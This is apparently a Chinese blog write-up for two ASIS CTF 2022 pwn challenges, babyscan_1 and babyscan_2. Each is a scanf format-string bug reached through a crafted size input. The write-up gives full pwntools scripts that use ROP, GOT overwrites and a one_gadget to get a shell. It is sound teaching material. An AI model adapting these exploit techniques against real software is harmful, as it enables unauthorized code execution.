1
|
|
ASIS CTF 2022 pwn
参考链接(题目附件看这):ASIS CTF 2022 pwn babyscan_1 babyscan_2 | blingbling’s blog (blingblingxuanxuan.github.io)
babyscan_1
源C代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int main() { char size[16], fmt[8], *buf;
printf("size: "); scanf("%15s", size); if (!isdigit(*size)) { puts("[-] Invalid number"); return 1; }
buf = (char*)alloca(atoi(size) + 1);
printf("data: "); snprintf(fmt, sizeof(fmt), "%%%ss", size); scanf(fmt, buf);
return 0; }
|
解题思路
1、假设我们对size输入1$、12$…….等这种以$结尾的字符串,isdigit()时只会判定前面的1、12……这些数字,这样我们就能做到既不在isdigit()判定时退出程序,又能将 $ 输入进 size 中
2、当 $ 输入进 size 后,通过snprintf()与scanf()的搭配,我们能构造出scanf(“%1$s”,buf)、scanf(“%12$s”,buf)等这样的输入函数,而%1$n、%12$s这样的格式化字符串我们在格式化字符串漏洞中经常利用,所以我们依照格式化字符串漏洞的那套解题思路进行后续步骤。
3、scanf(“%12$s”,buf)的意思是向栈上scanf的第12个参数位置上存储的地址处输入任意长度字符串
4、64位函数参数存储顺序如下图,只要是存储着栈地址的参数我们都能用(第3条说明了向参数存储的地址处写入任意长度字符串),从图中我们可以看到有RDI、RSI、RDX、参数12、参数13,对应%0$s、%1$s、%2$s、%11$s、%12$s,其中参数12存储的是高于当前函数栈帧rbp的栈地址,不好找更高地址的rbp在哪个位置,所以不考虑使用%11$s,本题我们利用%1$s。
5、之后便是一系列模板操作:查找偏移值、覆写ret控制执行流、重执main()函数或start()函数、泄露libc地址、调用system(“/bin/sh”)
查找偏移值
利用以下脚本可得知偏移值为72
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
payload = cyclic(200)
gdb.attach(myio,"b *0x401364 \n c") myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload)
myio.interactive()
|
覆写ret泄露libc地址并重新执新main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
pop_rdi = 0x401433 got_snprintf = 0x404030 plt_puts = 0x4010B4 main_addr = 0x401216 payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)
myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload) snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00")) libc_base = snprintf_addr - 0x61d60 print(hex(libc_base))
myio.interactive()
|
调用system(“/bin/sh”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./chall") mylibc = ELF("../lib/libc.so.6") myld = ELF("../lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
ret = 0x40101a
pop_rdi = 0x401433 got_snprintf = 0x404030 plt_puts = 0x4010B4 main_addr = 0x401216 payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)
myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload) snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00")) libc_base = snprintf_addr - 0x61d60
system_addr = libc_base + 0x52290 bin_sh_addr = libc_base + 0x1B45BD
exec_bin_sh = libc_base + 0xe3b01 myio.sendlineafter("size: ",b"1$") payload = b'a'*72 + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) myio.sendlineafter("data: ",payload)
myio.interactive()
|
小结
1、学到了python脚本中更换二进制文件的 ld 与 libc 操作:
1 2 3 4
| myelf = ELF("./chall") mylibc = ELF("../lib/libc.so.6") myld = ELF("../lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
|
2、巩固了pwn题基础知识,见识了初看完全看不懂的C语言代码
babyscan_2
源C代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main() { char size[16], fmt[8], *buf;
printf("size: "); scanf("%15s", size); if (!isdigit(*size)) { puts("[-] Invalid number"); exit(1); }
buf = (char*)malloc(atoi(size) + 1);
printf("data: "); snprintf(fmt, sizeof(fmt), "%%%ss", size); scanf(fmt, buf);
exit(0); }
__attribute__((constructor)) void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); alarm(180); }
|
解题思路
1、出现 malloc ,但没出现 free() 函数,无法利用堆相关的解题方法
2、注意到 scanf(“%15s”, size); ,可以输入一个数字,同时在输入一个数字后可以输入一些字符串,只要总体长度不超过15就行,而size存储在栈上,也就是说我们可以向栈上输入一些我们想要输入的字符,因此或许我们可以利用与上题类似的思路解这道题
3、gdb调试,向程序输入1$xxxxyyyyzzzz,可以看到在第10个参数位置存储着我们输入的字符串 yyzzzz,
4、既然这样,我们可以将 yyzzzz 替换为任意地址 aaaaaa,然后在输入size时输入 9$xxaaaaaa,就可以向地址 aaaaaa 处写任意长度的字符串
5、接下来是套模板:查找偏移值、覆写ret控制执行流、重执main()函数或start()函数、泄露libc地址、调用system(“/bin/sh”),不过这题buf不在栈上,我们想要覆写ret来控制执行流的话有点困难,同时调用system(“/bin/sh”)也很困难,那我们就只能考虑libc中现有的 execve() 来获取shell。
首先,程序中不存在后门函数,我们就必须要泄露libc地址,利用libc中的 execve(“/bin/sh”,参数2,参数2);
其次,想要做到泄露libc地址的同时又调用execve(),那就必须有重新执行main()函数或start()函数这一步骤
再者,若想重新执行main()或start(),同时无法利用ret,那我们得分析我们现在有的能力
此时,我们有的是向任意地址写入任意长度的字符串的能力
那么,我们可以将exit()函数的got表值改为main()或start()的got表值,这样每次执行exit()时其实是在执行main()或start()
ok,分析完毕,就从修改exit()的got表重新执行main()或start()开始
重执main()函数或start()函数
[:-1]的效果是只取p64里面的前7个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
gdb.attach(myio,"b *0x40132b \n c")
payload1 = p64(0x401256)[:-1]
aaw(0x404058,payload1) myio.interactive()
|
泄露libc
利用任意地址写能力将 setbuf(stderr, NULL); 修改为 puts(snprintf_got) 。当程序重新执行start()时,执行 setbuf(stderr, NULL); 时实际上在执行puts(snprintf_got)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
payload1 = p64(0x401256)[:-1] aaw(0x404058,payload1)
aaw(0x4040a0,p64(0x404030)[:-1]) aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00")
payload1 = p64(0x401170)[:-1] aaw(0x404058,payload1)
myio.recvline() myio.recvline() libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) libc_base = libc_snprintf - 0x61d60 print(hex(libc_base))
myio.interactive()
|
调用execve(“/bin/sh”,参数2,参数2);
1
| $ one_gadget ./lib/libc.so.6
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
payload1 = p64(0x401256)[:-1] aaw(0x404058,payload1)
aaw(0x4040a0,p64(0x404030)[:-1]) aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00")
payload1 = p64(0x401170)[:-1] aaw(0x404058,payload1)
myio.recvline() myio.recvline() libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) libc_base = libc_snprintf - 0x61d60 print(hex(libc_base))
payload1 = p64(libc_base+0xe3b01)[:-1] aaw(0x404058,payload1)
myio.interactive()
|